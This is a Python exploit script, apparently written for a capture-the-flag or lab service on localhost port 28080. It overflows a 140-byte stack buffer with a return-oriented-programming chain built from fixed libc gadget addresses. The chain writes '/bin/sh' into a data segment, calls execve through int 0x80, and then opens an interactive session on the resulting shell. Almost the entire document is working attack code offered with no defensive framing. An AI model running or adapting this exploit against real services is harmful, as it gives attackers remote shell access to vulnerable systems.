import struct
import sys
import socket
import time
import telnetlib

base_libc = 0xf7dec000
dataaddr = 0x0804a018
bufsize = 140
pop_ecx_pop_eax = base_libc + 0x000faa50
mov_eax_ecx = base_libc + 0x0002be5e
pop_ebx = base_libc + 0x00018be5
pop_edx = base_libc + 0x0002d17c
int_0x80 = base_libc + 0x0002d4c5


def p(val):
    return struct.pack('<I', val)



def main():
    buf = b'A' * bufsize
    buf += p(pop_ecx_pop_eax) #[[pop ecx; pop eax]]
    buf += p(dataaddr + 8) #[dataaddr + 8]
    buf += p(dataaddr) #[dataaddr]
    buf += p(mov_eax_ecx) #[[mov [eax],ecx]]
    buf += p(pop_ecx_pop_eax) #[[pop ecx; pop eax]]
    buf += p(0x00000000) #[0x00000000]
    buf += p(dataaddr + 4) #[dataaddr + 4]
    buf += p(mov_eax_ecx) #[[mov [eax],ecx]]
    buf += p(pop_ecx_pop_eax) #[[pop ecx; pop eax]]
    buf += b'/bin'
    buf += p(dataaddr + 8) #[dataaddr + 8]
    buf += p(mov_eax_ecx) #[[mov [eax],ecx]]
    buf += p(pop_ecx_pop_eax) #[[pop ecx; pop eax]]
    buf += b'/sh\x00'
    buf += p(dataaddr + 12) #[dataaddr + 12]
    buf += p(mov_eax_ecx) #[[mov [eax],ecx]]
    buf += p(pop_ebx) #[[pop ebx]]
    buf += p(dataaddr + 8) #[dataaddr + 8]
    buf += p(pop_ecx_pop_eax) #[[pop ecx; pop eax]]
    buf += p(dataaddr) #[dataaddr]
    buf += p(0x0000000b) #[0x0000000b]
    buf += p(pop_edx) #[[pop edx]]
    buf += p(0x00000000) #[0x00000000]
    buf += p(int_0x80) #[[int 0x80]]

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("localhost", 28080))
    time.sleep(1)
    print(buf)
    sock.sendall(buf)

    print("interact mode")
    t = telnetlib.Telnet()
    t.sock = sock
    t.interact()



if __name__ == "__main__":
    main()
